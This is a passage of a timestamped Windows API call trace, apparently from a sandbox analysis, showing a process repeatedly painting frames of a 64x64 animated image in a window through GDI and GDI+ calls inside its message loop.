returned 0 [0112.330] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffbd0) returned 0x0 [0112.331] CoTaskMemFree (pv=0x4ffbd0) [0112.331] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0112.331] GdipCreateRegion (region=0x15d710) returned 0x0 [0112.331] GdipGetClip (graphics=0x1de419c0, region=0x1de43ea0) returned 0x0 [0112.331] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0112.331] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a590) returned 0x0 [0112.331] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0112.331] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff7e40 [0112.331] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff7e40) returned 0x0 [0112.331] LocalFree (hMem=0x1aff7e40) returned 0x0 [0112.331] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0112.332] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff7e40 [0112.332] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff7e40) returned 0x0 [0112.332] LocalFree (hMem=0x1aff7e40) returned 0x0 [0112.332] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0112.332] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0112.332] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d7c0) returned 0x0 [0112.332] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d780) returned 0x0 [0112.332] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de419c0, hRgn=0x15d780) returned 0x0 [0112.332] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0112.332] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0112.332] GdipGetDC (graphics=0x1de419c0, hdc=0x15d7f0) returned 0x0 [0112.332] GetCurrentObject (hdc=0x430107c2, type=0x1) returned 0x1b00017 [0112.333] GetCurrentObject (hdc=0x430107c2, type=0x2) returned 0x1900010 [0112.333] GetCurrentObject (hdc=0x430107c2, type=0x7) returned 0x1a05067e [0112.333] GetCurrentObject (hdc=0x430107c2, type=0x6) returned 0x18a002e [0112.333] SaveDC (hdc=0x430107c2) returned 1 [0112.333] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1b040b8a [0112.333] GetClipRgn (hdc=0x430107c2, hrgn=0x1b040b8a) returned 0 [0112.333] SelectClipRgn (hdc=0x430107c2, hrgn=0x4b0407c3) returned 2 [0112.333] DeleteObject (ho=0x1b040b8a) returned 1 [0112.333] DeleteObject (ho=0x4b0407c3) returned 1 [0112.333] OffsetViewportOrgEx (in: hdc=0x430107c2, x=0, y=0, lppt=0x270dad0 | out: lppt=0x270dad0) returned 1 [0112.333] GetNearestColor (hdc=0x430107c2, color=0xffffff) returned 0xffffff [0112.333] CreateSolidBrush (color=0xffffff) returned 0x23100190 [0112.333] FillRect (hDC=0x430107c2, lprc=0x15d7c0, hbr=0x23100190) returned 1 [0112.333] DeleteObject (ho=0x23100190) returned 1 [0112.333] RestoreDC (hdc=0x430107c2, nSavedDC=-1) returned 1 [0112.334] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0112.334] GdipReleaseDC (graphics=0x1de419c0, hdc=0x430107c2) returned 0x0 [0112.334] GdipRestoreGraphics (graphics=0x1de419c0, state=0xfffffffffda00dbd) returned 0x0 [0112.334] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0112.334] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0112.334] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0112.334] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0112.334] GetSystemMetrics (nIndex=42) returned 0 [0112.334] CoTaskMemAlloc (cb=0x6) returned 0x4ffbd0 [0112.334] GetWindowTextW (in: hWnd=0x2031e, lpString=0x4ffbd0, nMaxCount=1 | out: lpString="") returned 0 [0112.334] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x4ffbd0) returned 0x0 [0112.334] CoTaskMemFree (pv=0x4ffbd0) [0112.334] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x7) returned 0x0 [0112.340] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0112.340] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0112.340] GdipDrawImageRectI (graphics=0x1de419c0, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0112.340] GdipGetDC (graphics=0x1de419c0, hdc=0x15dbf0) returned 0x0 [0112.340] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x430107c2, x1=0, y1=0, rop=0xcc0020) returned 1 [0112.341] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0112.341] GdipReleaseDC (graphics=0x1de419c0, hdc=0x430107c2) returned 0x0 [0112.341] SelectObject (hdc=0x430107c2, h=0x185000f) returned 0x1a05067e [0112.341] DeleteDC (hdc=0x430107c2) returned 1 [0112.341] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0112.341] GdipDeleteGraphics (graphics=0x1de419c0) returned 0x0 [0112.341] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0112.341] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0112.341] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0112.341] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0112.341] WaitMessage () returned 1 [0113.661] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0113.661] IsWindowUnicode (hWnd=0x2031e) returned 1 [0113.661] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0113.661] TranslateMessage (lpMsg=0x15e910) returned 0 [0113.661] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0113.661] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0113.661] GetCurrentThreadId () returned 0xec0 [0113.661] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0113.661] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0113.661] IsWindowUnicode (hWnd=0x2031e) returned 1 [0113.661] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0113.661] TranslateMessage (lpMsg=0x15e910) returned 0 [0113.661] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0113.661] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0113.661] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0113.661] CreateCompatibleDC (hdc=0x1010b9d) returned 0x440107c2 [0113.662] SelectObject (hdc=0x440107c2, h=0x1a05067e) returned 0x185000f [0113.662] GdipCreateFromHDC (hdc=0x440107c2, graphics=0x15daf0) returned 0x0 [0113.662] GdipTranslateWorldTransform (graphics=0x1de419c0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0113.662] GdipSetClipRectI (graphics=0x1de419c0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0113.662] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0113.662] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a510) returned 0x0 [0113.662] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0113.662] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff9280 [0113.662] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1aff9280) returned 0x0 [0113.663] LocalFree (hMem=0x1aff9280) returned 0x0 [0113.663] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0113.663] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0113.663] GdipCreateRegion (region=0x15dc20) returned 0x0 [0113.663] GdipGetClip (graphics=0x1de419c0, region=0x1de43de0) returned 0x0 [0113.663] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de419c0, result=0x15dc50) returned 0x0 [0113.663] GdipSaveGraphics (graphics=0x1de419c0, state=0x15dd20) returned 0x0 [0113.663] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0113.663] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0113.663] GetSystemMetrics (nIndex=42) returned 0 [0113.663] CoTaskMemAlloc (cb=0x6) returned 0x1afd3bd0 [0113.663] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3bd0, nMaxCount=1 | out: lpString="") returned 0 [0113.663] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3bd0) returned 0x0 [0113.663] CoTaskMemFree (pv=0x1afd3bd0) [0113.663] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0113.663] GdipCreateRegion (region=0x15d710) returned 0x0 [0113.664] GdipGetClip (graphics=0x1de419c0, region=0x1de43ea0) returned 0x0 [0113.664] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0113.664] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a590) returned 0x0 [0113.664] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0113.664] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff9280 [0113.664] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff9280) returned 0x0 [0113.664] LocalFree (hMem=0x1aff9280) returned 0x0 [0113.664] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0113.664] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff9280 [0113.664] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1aff9280) returned 0x0 [0113.665] LocalFree (hMem=0x1aff9280) returned 0x0 [0113.665] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0113.665] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0113.665] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d7c0) returned 0x0 [0113.665] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d780) returned 0x0 [0113.665] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de419c0, hRgn=0x15d780) returned 0x0 [0113.665] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0113.665] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0113.665] GdipGetDC (graphics=0x1de419c0, hdc=0x15d7f0) returned 0x0 [0113.665] GetCurrentObject (hdc=0x440107c2, type=0x1) returned 0x1b00017 [0113.665] GetCurrentObject (hdc=0x440107c2, type=0x2) returned 0x1900010 [0113.665] GetCurrentObject (hdc=0x440107c2, type=0x7) returned 0x1a05067e [0113.665] GetCurrentObject (hdc=0x440107c2, type=0x6) returned 0x18a002e [0113.665] SaveDC (hdc=0x440107c2) returned 1 [0113.666] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4c0407c3 [0113.666] GetClipRgn (hdc=0x440107c2, hrgn=0x4c0407c3) returned 0 [0113.666] SelectClipRgn (hdc=0x440107c2, hrgn=0x1c040b8a) returned 2 [0113.666] DeleteObject (ho=0x4c0407c3) returned 1 [0113.666] DeleteObject (ho=0x1c040b8a) returned 1 [0113.666] OffsetViewportOrgEx (in: hdc=0x440107c2, x=0, y=0, lppt=0x270f068 | out: lppt=0x270f068) returned 1 [0113.666] GetNearestColor (hdc=0x440107c2, color=0xffffff) returned 0xffffff [0113.666] CreateSolidBrush (color=0xffffff) returned 0x24100190 [0113.666] FillRect (hDC=0x440107c2, lprc=0x15d7c0, hbr=0x24100190) returned 1 [0113.666] DeleteObject (ho=0x24100190) returned 1 [0113.666] RestoreDC (hdc=0x440107c2, nSavedDC=-1) returned 1 [0113.666] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0113.666] GdipReleaseDC (graphics=0x1de419c0, hdc=0x440107c2) returned 0x0 [0113.667] GdipRestoreGraphics (graphics=0x1de419c0, state=0xfffffffffd9e0dbd) returned 0x0 [0113.667] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0113.667] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0113.667] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0113.667] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0113.667] GetSystemMetrics (nIndex=42) returned 0 [0113.667] CoTaskMemAlloc (cb=0x6) returned 0x1afd3bd0 [0113.667] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3bd0, nMaxCount=1 | out: lpString="") returned 0 [0113.667] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3bd0) returned 0x0 [0113.667] CoTaskMemFree (pv=0x1afd3bd0) [0113.667] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0113.667] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0113.668] GdipDrawImageRectI (graphics=0x1de419c0, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0113.668] GdipGetDC (graphics=0x1de419c0, hdc=0x15dbf0) returned 0x0 [0113.668] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x440107c2, x1=0, y1=0, rop=0xcc0020) returned 1 [0113.668] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0113.668] GdipReleaseDC (graphics=0x1de419c0, hdc=0x440107c2) returned 0x0 [0113.668] SelectObject (hdc=0x440107c2, h=0x185000f) returned 0x1a05067e [0113.668] DeleteDC (hdc=0x440107c2) returned 1 [0113.668] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0113.668] GdipDeleteGraphics (graphics=0x1de419c0) returned 0x0 [0113.668] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0113.668] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0113.668] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0113.668] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0113.668] WaitMessage () returned 1 [0115.944] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0115.944] IsWindowUnicode (hWnd=0x2031e) returned 1 [0115.944] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0115.944] TranslateMessage (lpMsg=0x15e910) returned 0 [0115.944] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0115.944] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0115.944] GetCurrentThreadId () returned 0xec0 [0115.944] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0115.945] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0115.945] IsWindowUnicode (hWnd=0x2031e) returned 1 [0115.945] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0115.945] TranslateMessage (lpMsg=0x15e910) returned 0 [0115.945] DispatchMessageW (lpMsg=0x15e910) returned 0x32080181 [0115.945] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0115.946] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0115.946] CreateCompatibleDC (hdc=0x1010b9d) returned 0x450107c2 [0115.946] SelectObject (hdc=0x450107c2, h=0x1a05067e) returned 0x185000f [0115.946] GdipCreateFromHDC (hdc=0x450107c2, graphics=0x15daf0) returned 0x0 [0115.947] GdipTranslateWorldTransform (graphics=0x1de419c0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0115.947] GdipSetClipRectI (graphics=0x1de419c0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0115.947] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0115.947] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a510) returned 0x0 [0115.947] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0115.947] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1b0212f0 [0115.947] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1b0212f0) returned 0x0 [0115.948] LocalFree (hMem=0x1b0212f0) returned 0x0 [0115.948] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0115.948] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0115.948] GdipCreateRegion (region=0x15dc20) returned 0x0 [0115.948] GdipGetClip (graphics=0x1de419c0, region=0x1de43de0) returned 0x0 [0115.948] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de419c0, result=0x15dc50) returned 0x0 [0115.948] GdipSaveGraphics (graphics=0x1de419c0, state=0x15dd20) returned 0x0 [0115.948] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0115.948] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0115.948] GetSystemMetrics (nIndex=42) returned 0 [0115.948] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e10 [0115.948] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e10, nMaxCount=1 | out: lpString="") returned 0 [0115.949] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e10) returned 0x0 [0115.949] CoTaskMemFree (pv=0x1afd3e10) [0115.949] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0115.949] GdipCreateRegion (region=0x15d710) returned 0x0 [0115.949] GdipGetClip (graphics=0x1de419c0, region=0x1de43ea0) returned 0x0 [0115.949] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0115.949] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a590) returned 0x0 [0115.949] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0115.949] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1b0212f0 [0115.949] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1b0212f0) returned 0x0 [0115.949] LocalFree (hMem=0x1b0212f0) returned 0x0 [0115.950] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0115.950] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1b0212f0 [0115.950] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1b0212f0) returned 0x0 [0115.950] LocalFree (hMem=0x1b0212f0) returned 0x0 [0115.950] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0115.950] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0115.950] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d7c0) returned 0x0 [0115.950] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de419c0, result=0x15d780) returned 0x0 [0115.950] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de419c0, hRgn=0x15d780) returned 0x0 [0115.950] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0115.951] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0115.951] GdipGetDC (graphics=0x1de419c0, hdc=0x15d7f0) returned 0x0 [0115.951] GetCurrentObject (hdc=0x450107c2, type=0x1) returned 0x1b00017 [0115.951] GetCurrentObject (hdc=0x450107c2, type=0x2) returned 0x1900010 [0115.951] GetCurrentObject (hdc=0x450107c2, type=0x7) returned 0x1a05067e [0115.951] GetCurrentObject (hdc=0x450107c2, type=0x6) returned 0x18a002e [0115.951] SaveDC (hdc=0x450107c2) returned 1 [0115.951] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1d040b8a [0115.951] GetClipRgn (hdc=0x450107c2, hrgn=0x1d040b8a) returned 0 [0115.951] SelectClipRgn (hdc=0x450107c2, hrgn=0x4d0407c3) returned 2 [0115.951] DeleteObject (ho=0x1d040b8a) returned 1 [0115.951] DeleteObject (ho=0x4d0407c3) returned 1 [0115.951] OffsetViewportOrgEx (in: hdc=0x450107c2, x=0, y=0, lppt=0x270fc30 | out: lppt=0x270fc30) returned 1 [0115.951] GetNearestColor (hdc=0x450107c2, color=0xffffff) returned 0xffffff [0115.952] CreateSolidBrush (color=0xffffff) returned 0x25100190 [0115.952] FillRect (hDC=0x450107c2, lprc=0x15d7c0, hbr=0x25100190) returned 1 [0115.952] DeleteObject (ho=0x25100190) returned 1 [0115.952] RestoreDC (hdc=0x450107c2, nSavedDC=-1) returned 1 [0115.952] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0115.952] GdipReleaseDC (graphics=0x1de419c0, hdc=0x450107c2) returned 0x0 [0115.952] GdipRestoreGraphics (graphics=0x1de419c0, state=0xfffffffffd9c0dbd) returned 0x0 [0115.952] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0115.953] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0115.953] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0115.953] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0115.953] GetSystemMetrics (nIndex=42) returned 0 [0115.953] CoTaskMemAlloc (cb=0x6) returned 0x1afd3e10 [0115.953] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1afd3e10, nMaxCount=1 | out: lpString="") returned 0 [0115.953] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1afd3e10) returned 0x0 [0115.953] CoTaskMemFree (pv=0x1afd3e10) [0115.953] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x9) returned 0x0 [0115.957] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0115.957] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0115.957] GdipDrawImageRectI (graphics=0x1de419c0, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0115.957] GdipGetDC (graphics=0x1de419c0, hdc=0x15dbf0) returned 0x0 [0115.957] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x450107c2, x1=0, y1=0, rop=0xcc0020) returned 1 [0115.958] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0115.958] GdipReleaseDC (graphics=0x1de419c0, hdc=0x450107c2) returned 0x0 [0115.958] SelectObject (hdc=0x450107c2, h=0x185000f) returned 0x1a05067e [0115.958] DeleteDC (hdc=0x450107c2) returned 1 [0115.958] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0115.958] GdipDeleteGraphics (graphics=0x1de419c0) returned 0x0 [0115.958] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0115.959] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0115.959] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0115.959] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0115.959] WaitMessage () returned 1 [0116.131] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0116.131] IsWindowUnicode (hWnd=0x2031e) returned 1 [0116.132] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0116.132] TranslateMessage (lpMsg=0x15e910) returned 0 [0116.132] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0116.132] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0116.132] GetCurrentThreadId () returned 0xec0 [0116.132] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0116.132] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0116.132] IsWindowUnicode (hWnd=0x2031e) returned 1 [0116.132] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0116.132] TranslateMessage (lpMsg=0x15e910) returned 0 [0116.132] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0116.132] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0116.132] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0116.132] CreateCompatibleDC (hdc=0x1010b9d) returned 0x460107c2 [0116.132] SelectObject (hdc=0x460107c2, h=0x1a05067e) returned 0x185000f [0116.133] GdipCreateFromHDC (hdc=0x460107c2, graphics=0x15daf0) returned 0x0 [0116.133] GdipTranslateWorldTransform (graphics=0x1de419c0, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0116.133] GdipSetClipRectI (graphics=0x1de419c0, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0116.133] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0116.133] GdipGetWorldTransform (graphics=0x1de419c0, matrix=0x1dc0a510) returned 0x0 [0116.133] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0116.133] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1aff8380 [0116.133] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1aff8380) returned 0x0 [0116.134] LocalFree (hMem=0x1aff8380) returned 0x0 [0116.134] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0116.134] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0116.134] GdipCreateRegion (region=0x15dc20) returned 0x0 [0116.134] GdipGetClip (graphics=0x1de419c0, region=0x1d2e7c10) returned 0x0 [0116.134] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de419c0, result=0x15dc50) returned 0x0 [0116.134] GdipSaveGraphics (graphics=0x1de419c0, state=0x15dd20) returned 0x0 [0116.135] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0116.135] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0116.135] GetSystemMetrics (nIndex=42) returned 0 [0116.135] 